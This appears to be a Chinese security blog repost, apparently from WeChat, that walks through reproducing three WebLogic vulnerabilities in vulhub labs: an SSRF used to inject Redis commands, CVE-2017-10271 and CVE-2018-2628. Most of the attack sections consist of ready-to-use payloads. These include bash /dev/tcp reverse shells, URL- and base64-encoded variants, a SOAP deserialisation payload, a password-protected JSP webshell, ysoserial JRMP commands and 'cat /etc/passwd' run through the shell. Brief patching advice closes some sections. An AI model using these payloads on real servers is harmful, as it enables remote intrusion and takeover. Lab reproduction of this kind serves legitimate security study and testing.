STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
漏洞描述
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
影响版本
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.0.2.0
复现过程
启用vulhub漏洞环境
SSRF漏洞测试
访问http://192.168.14.128:7001/uddiexplorer/,无需登录即可查看uddiexplorer
应用。SSRF漏洞存在于:
http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp,在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001:
http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
主要是通过operator这个参数来判断端口是否开放,例如访问开放的7001端口时页面会返回一个404。
当访问一个不存在的端口时,例如8888,则会回显如下内容。可通过错误的不同来探测内网状态。
如果访问的非http协议,则会返回did not have a valid SOAP content-type。
注入HTTP头,利用Redis反弹shell
(1)Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
(2)通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)。Setup UDDI Explorer这个页面泄露了内网的网段,可以用burpsuite或者脚本来探测。这里由于是在本机上搭建的漏洞环境,因此显示的是localhost。实战中则会泄露真实内网IP。
redis默认开放的端口为6379,发现172.19.0.2:6379可以连通:
(3)发送三条redis命令,将反弹shell脚本写入/etc/crontab:
set 1 "nnnn* * * * * root bash -i >& /dev/tcp/192.168.14.130/8899 0>&1nnnn"
config set dir /etc/
config set dbfilename crontab
save
URL编码,绕过拦截。
%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%34%2e%31%33%30%2f%38%38%39%39%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65
换行符是“rn”,也就是“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送:
http://172.19.0.2:6379/test%0D%0A%0D%0A%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%34%2e%31%33%30%2f%38%38%39%39%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65 HTTP/1.1
(4)开启监听端口,反弹shell成功
(5)可进行利用的cron有如下几个地方:
1./etc/crontab 这个是肯定的
2./etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
3./var/spool/cron/root ----centos系统下root用户的cron文件
4./var/spool/cron/crontabs/root ----debian系统下root用户的cron文件
漏洞描述
Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271)
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
复现过程
这里启用vulhub漏洞环境
反弹shell
(1)访问
http://10.10.10.130:7001/wls-wsat/CoordinatorPortType,burpsuite拦截数据包,以post方法发送如下poc。将listen_IP和port修改为监听地址和端口即可。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/listen_IP/port 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
(2)在发包前开启监听,成功反弹shell
nc -lvnp 8899
写入webshell
(1)访问http://10.10.10.130:7001/wls-wsat/CoordinatorPortType,burpsuite拦截数据包,以post方法发送poc。这里我上传的是带有密码回显的jsp一句话。注:上传的木马内容所在位置:<![CDATA["木马内容"]]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp</string>
<void method="println"><string>
<![CDATA[
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
(2)访问http://10.10.10.130:7001/bea_wls_internal/cmd.jsp,命令执行
http://10.10.10.130:7001/bea_wls_internal/cmd.jsp?pwd=123&cmd=cat /etc/passwd
修复建议
(1)下载Oracle推送补丁,下载地址如下
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;
(2)根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。
漏洞描述
weblogic_WLS-Core_Components反序列化命令执行漏洞(CVE-2018-2628)
该漏洞通过T3协议触发,可导致未授权的用户在远程执行任意命令。
影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3(项目列表)
复现过程
攻击IP:10.10.10.130
靶机IP:10.10.10.130:7001
漏洞利用工具包:https://github.com/Lighird/CVE-2018-2628
(1)启动vulhub漏洞环境。
(2)利用nmap检测目标资产,发现开放T3协议及WebLogic版本信息。
nmap -p 7001,7002 -v -n --script weblogic-t3-info 10.10.10.130
(3)利用CVE-2018-2628检测工具检测出目标存在漏洞
(4)在攻击机上启动JRMP Server,使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
# [listen port] : JRMP Server监听的端口
# [command] : 需要执行的命令
(5)执行反弹shell命令
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/10.10.10.130/8899 0>&1'
由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,因此需要进行一次编码。
PS:Runtime.getRuntime().exec 用于调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池,编码后的命令如下:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMzAvODg5OSAwPiYx}|{base64,-d}|{bash,-i}'
编码转换工具:https://www.jackson-t.ca/runtime-exec-payloads.html
(6)攻击机上新打开一个终端,执行
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 10.10.10.130:8888 | xxd -p | tr -d $'n' && echo
(7)复制以上输出结果,替换weblogic_poc.py 中的PYLOAD,并将dip参数改为目标IP
(8)攻击机上新开一个终端窗口,利用nc监听8899端口,再开一个终端窗口运行weblogic_poc.py,即可反弹shell
python weblogic_poc.py
修复建议
(1)安装官方补丁:
https://www.oracle.com/security-alerts/cpujul2020.html
(2)限制T3访问来源。漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。
(3)禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html
征稿通知
知识应该被分享,安全更需携手共进
RECRUITMENT
招聘启事
END
长按识别二维码关注我们
原文始发于微信公众号(雷神众测):基于Weblogic的一系列漏洞复现总结(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论